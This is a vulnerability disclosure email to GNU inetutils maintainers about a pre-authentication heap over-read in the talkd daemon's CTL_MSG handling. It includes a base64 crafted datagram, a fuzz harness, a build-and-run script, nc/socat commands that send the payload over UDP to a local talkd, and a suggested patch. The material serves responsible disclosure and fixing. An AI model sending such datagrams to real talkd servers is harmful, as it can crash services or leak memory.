Hello GNU inetutils maintainers,
I am reporting a heap out-of-bounds read in the talkd daemon (ntalk / BSD talk
protocol over UDP). The bug is confirmed with AddressSanitizer on a real
compiled build of upstream GNU inetutils talkd; inetutils talkd is not covered
by OSS-Fuzz. I am following coordinated disclosure and have not published this
report.
Note: resending in English for clarity; apologies for any duplicate.
## CVE #27: heap OOB in talkd CTL_MSG parse (Medium)
### Summary
The ntalk request message is a fixed-size `CTL_MSG` structure of 84 bytes, laid
out as:
```
vers(1) type(1) answer(1) pad(1) id_num(4)
addr(osockaddr 16) ctl_addr(osockaddr 16) pid(4)
l_name[12] r_name[12] r_tty[16] <- three fixed-length char[] fields,
not NUL-terminated
```
The talkd main loop fills this entire structure verbatim from a UDP datagram
(`recvfrom (fd, &msg, sizeof msg, ...)` at `talkd/talkd.c:166`) and never forces
NUL-termination on `l_name` / `r_name` / `r_tty`. `process_request()` then feeds
these fields to `syslog ("%s", ...)` (`talkd/process.c:76`), whose `%s` reads
byte by byte until a NUL. When all three fields are packed with non-NUL bytes,
`%s` starting at `l_name` runs to the end of the struct (offset 84) and one byte
past it: a heap out-of-bounds read (CWE-125). This is a pre-authentication
issue:
the ntalk protocol carries no authentication, and any host that can send a UDP
packet to the talkd port reaches the parsing code.
### Root cause
`talkd/process.c:76` (identical in the latest inetutils 2.8 tree):
```c
if ((logging || debug) && msg->type == LOOK_UP)
syslog (LOG_NOTICE, "dropping request: %s@%s",
msg->l_name, inet_ntoa (sa_in->sin_addr)); /* <- process.c:76 */
```
`msg->l_name` (offset 44), `r_name` (offset 56) and `r_tty` (offset 68) are
fixed-length `char` arrays with no guaranteed terminator. The incoming datagram
is copied whole into `CTL_MSG` by `recvfrom` at `talkd/talkd.c:166`
(`recvfrom (fd, &msg, sizeof msg, 0, ...)`), and no code path terminates the
fields before they are consumed as C strings. When the trailing 40 bytes of the
84-byte structure are filled with non-NUL bytes, `syslog("%s", l_name)` reads
through the end of `l_name`, `r_name`, `r_tty`, and 1 byte past the 84-byte
allocation boundary.
This is one instance of a class of bugs: `recvfrom` into a fixed-length `char[]`
field followed by use of that field as a NUL-terminated C string with no forced
termination. Other consumers in the same tree include:
- `talkd/announce.c:133` `len = sizeof (PATH_TTY_PFX) + strlen (request->r_tty)
+ 2;`
and `talkd/announce.c:140` `sprintf (ttypath, "%s/%s", PATH_TTY_PFX,
request->r_tty);`
â `announce()` runs unconditionally (no logging/ACL gate) when `do_announce`
locates a logged-in user; `r_tty` is the last field of the struct, so a dense
value drives `strlen`/`sprintf` past the 84-byte boundary. An attacker sending
an ANNOUNCE aimed at any currently logged-in user reaches this path.
- `talkd/process.c:98` `syslog (LOG_INFO, "%s@%s called by %s@%s", msg->r_name,
...)` (ANNOUNCE success + logging).
- `talkd/table.c` `find_request` / `insert_table` `strcmp` on `l_name` /
`r_name` (same root cause; reads into the adjacent field).
- `talkd/print.c` `print_request` (debug mode `%s`).
### Impact
- Confidentiality / information disclosure: the over-read exposes bytes adjacent
to the `CTL_MSG` allocation (neighboring struct fields, heap metadata). Read
volume is small (tens of bytes per packet).
- Availability: if the over-read crosses a page boundary into an unmapped page,
talkd crashes (DoS).
- Trigger: pre-authentication, over UDP, by any host that can reach the talkd
port. The `process.c:76` logging branch requires talkd started with `-l`
(logging) or `-d` (debug) and an ACL `DENY`; the `announce.c:133` variant
needs
neither and triggers on a plain ANNOUNCE aimed at a logged-in user.
- Severity is Low-Medium: talkd/ntalk is a legacy protocol seldom deployed on
modern systems, and the over-read is bounded.
### PoC
The PoC is an 84-byte ntalk `CTL_MSG` datagram. Fields: `vers=1` (TALK_VERSION),
`type=1` (LOOK_UP), address families AF_INET, and offsets 44-83 (`l_name` +
`r_name` + `r_tty`) filled entirely with `0x41` ('A'). A talkd built with
AddressSanitizer that receives this datagram over-reads at `process.c:76`.
The driver below (`fuzz_talkd.c`) mallocs exactly `sizeof(CTL_MSG) == 84` so the
ASAN redzone sits immediately after the struct and catches the over-read. It
links the real upstream `process.o` (the code containing the bug); only
`acl_match`/`do_announce`/table/print helpers are stubbed to isolate
`process_request`, and `syslog` is stubbed to a `vsnprintf` that consumes the
`%s` argument (driving the read) without touching `/dev/log`.
`inetutils-talkd-ctm-lg-heap-oob.bin` â 84 bytes, base64 reconstruct:
```
echo
AQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
| base64 -d > inetutils-talkd-ctm-lg-heap-oob.bin
```
`fuzz_talkd.c` (full source):
```c
/* libFuzzer harness for inetutils talkd process_request (ntalk UDP daemon).
* No upstream fuzzer. CTL_MSG l_name[12]/r_name[12]/r_tty[16] arrive raw from
* a UDP datagram (recvfrom into CTL_MSG) with NO forced NUL-termination.
* process_request passes them to syslog("%s", l_name) (process.c:75-77),
* which reads until NUL â past the field and (for trailing fields) past the
* whole 84-byte struct => OOB read.
*
* Harness mallocs EXACTLY sizeof(CTL_MSG)=84 so ASAN redzone sits right after
* the struct and catches the over-read. The early-return branches (ACL_DENY at
* process.c:82) are reached BEFORE the switch, so the switch's table/print
* callees are never executed at runtime â we stub them (plus acl_match ->
DENY
* to force the logging branch) to link process.o alone. process.o is the REAL
* compiled code containing the bug. syslog stubbed to vsnprintf-discard so the
* %s arg is READ (triggering the OOB) without /dev/log I/O. */
#include <config.h>
#include <syslog.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <protocols/talkd.h>
#include "talkd/intalkd.h"
int logging = 1, debug = 0;
/* stubs: isolate process_request's own code; never reached on the ACL_DENY
path */
int acl_match(CTL_MSG *m, struct sockaddr_in *s){ (void)m;(void)s; return
ACL_DENY; }
void do_announce(CTL_MSG *m, CTL_RESPONSE *r){ (void)m;(void)r; }
CTL_MSG *find_request(CTL_MSG *r){ (void)r; return NULL; }
int insert_table(CTL_MSG *r, CTL_RESPONSE *p){ (void)r;(void)p; return 0; }
CTL_MSG *find_match(CTL_MSG *r){ (void)r; return NULL; }
int delete_invite(unsigned long id){ (void)id; return 0; }
int read_utmp(const char *f, void *n, void *u, int o){
(void)f;(void)n;(void)u;(void)o; return -1; }
int print_request(const char *c, CTL_MSG *m){ (void)c;(void)m; return 0; }
int print_response(const char *c, CTL_RESPONSE *r){ (void)c;(void)r; return 0; }
void syslog(int pri, const char *fmt, ...){
(void)pri; char tmp[8]; va_list ap; va_start(ap,fmt);
vsnprintf(tmp, sizeof tmp, fmt, ap); va_end(ap); /* read %s -> trigger
OOB */
}
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size){
size_t n = sizeof(CTL_MSG); /* == 84 */
if (size < n) return 0;
CTL_MSG *m = (CTL_MSG*)malloc(n); /* exact size: ASAN redzone after
byte 84 */
if (!m) return 0;
memcpy(m, data, n);
m->vers = 1; /* TALK_VERSION */
m->addr.sa_family = htons(AF_INET); /* pass addr-family checks */
m->ctl_addr.sa_family = htons(AF_INET);
m->type = 1; /* LOOK_UP */
struct sockaddr_in sa; memset(&sa,0,sizeof sa); sa.sin_family=AF_INET;
CTL_RESPONSE rp; memset(&rp,0,sizeof rp);
process_request(m, &sa, &rp);
free(m);
return 0;
}
```
### Reproduce on real upstream
The buggy code is identical in inetutils 2.7 and the latest 2.8 tree
(`talkd/process.c:76`, `talkd/talkd.c:166`, `talkd/announce.c:133/140` all match
in `inetutils-2.8`). Source:
https://ftp.gnu.org/gnu/inetutils/inetutils-2.8.tar.gz
`repro.sh` â builds real upstream talkd with AddressSanitizer, then runs the
`fuzz_talkd.c` driver against the real `process.o` parsing the PoC:
```sh
#!/bin/sh
set -e
URL=https://ftp.gnu.org/gnu/inetutils/inetutils-2.8.tar.gz
PKG=inetutils-2.8
# 1. Fetch and unpack upstream.
curl -O "$URL"
tar xzf "$PKG.tar.gz"
cd "$PKG"
# 2. Configure; disable optional deps to keep the build minimal.
CC=clang CFLAGS="-g -O1 -fsanitize=address -fno-omit-frame-pointer" \
LDFLAGS="-fsanitize=address" \
./configure --disable-dependency-tracking --disable-encryption \
--without-libedit --without-ncurses --without-pam \
--without-wrap --without-readline >/dev/null
# 3. Build just enough to get the real talkd objects (process.o etc.).
make -C lib
make -C headers
make -C talkd process.o intalkd.h 2>/dev/null || make -C talkd
# 4. Compile the driver against the real talkd objects + libinetutils.
D=../fuzz_talkd.c # path to the driver source shown above
clang -g -O1 -fsanitize=address,fuzzer -fno-omit-frame-pointer \
-I. -Ilib -Iheaders -Italkd \
"$D" talkd/process.o talkd/acl.o talkd/table.o talkd/print.o \
talkd/announce.o lib/.libs/libinetutils.a \
-o fuzz_talkd 2>/dev/null || \
clang -g -O1 -fsanitize=address,fuzzer -fno-omit-frame-pointer \
-I. -Ilib -Iheaders -Italkd \
"$D" talkd/.libs/process.o talkd/.libs/acl.o talkd/.libs/table.o \
talkd/.libs/print.o talkd/.libs/announce.o lib/.libs/libinetutils.a \
-o fuzz_talkd
# 5. Reconstruct the 84-byte PoC and run it through real process_request.
echo
AQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
\
| base64 -d > inetutils-talkd-ctm-lg-heap-oob.bin
ASAN_OPTIONS=detect_leaks=0 ./fuzz_talkd inetutils-talkd-ctm-lg-heap-oob.bin
```
Expected ASAN (heap-buffer-overflow READ of size 41 at process.c:76, in the
`%s` argument read inside `process_request`):
```
==1201572==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x608000000174
READ of size 41 at 0x608000000174 thread T0
#2 0x54eaec in process_request .../talkd/process.c:76:2
SUMMARY: AddressSanitizer: heap-buffer-overflow ... in printf_common (syslog %s)
```
The crash trace resolves into the real upstream `talkd/process.o`
`process_request`; the stubs only isolate the call graph so `process.o` links
standalone. The bug is in the real `process.c` compiled object, not in any
harness or mock.
To reach the same parse path over the network on a real ASAN-built talkd, run
talkd with `-l` (logging) and an ACL deny rule (or `-S` strict_policy, which
makes `acl_match` return `ACL_DENY` with no ACL file per `talkd/acl.c`), then
deliver the 84-byte PoC as one UDP datagram to the talkd port, for example:
```sh
# talkd built with ASAN above, launched for testing on a high port.
talkd/talkd -S -l -d # uses the kernel-assigned / inetd-supplied socket
# Send the reconstructed .bin as one 84-byte UDP datagram:
socat - V4-UDP-DATAGRAM:127.0.0.1:518 < inetutils-talkd-ctm-lg-heap-oob.bin
# or:
nc -u -w1 127.0.0.1 518 < inetutils-talkd-ctm-lg-heap-oob.bin
```
Notes for full transparency: in the live daemon the over-read happens inside
glibc `vsnprintf` (consuming the `%s` argument), and ASAN detection of
`%s`-argument over-reads depends on its printf-family interceptors being
installed; on some glibc/ASAN combinations those interceptors fail to install at
startup and the stack-based `msg` over-read is not surfaced. The harness above
exercises the identical code in `process.o` but places `msg` on the heap at
exactly 84 bytes, where the heap redzone is poisoned and the same over-read is
caught (READ of size 41 at `process.c:76`). The code path, the parsed fields,
and the root cause are identical to the live daemon.
### Suggested fix
Force NUL-termination on the three fixed-length string fields right after
`recvfrom`, before any string consumer sees them (smallest patch; closes the
whole class at once). In `talkd/talkd.c` immediately after the recvfrom, or at
the entry of `process_request` in `talkd/process.c`:
```c
msg.l_name[sizeof(msg.l_name)-1] = '\0';
msg.r_name[sizeof(msg.r_name)-1] = '\0';
msg.r_tty [sizeof(msg.r_tty )-1] = '\0';
```
Alternatively, switch every consumer (`%s`, `strlen`, `strcmp`, `sprintf`) to
length-bounded equivalents (`%.*s`, `strnlen`, `strncmp`, bounded `snprintf`),
covering `talkd/process.c`, `talkd/announce.c`, `talkd/table.c`, and
`talkd/print.c`.
Thank you for your time and for maintaining inetutils.
Best regards,
zhangph <[email protected]>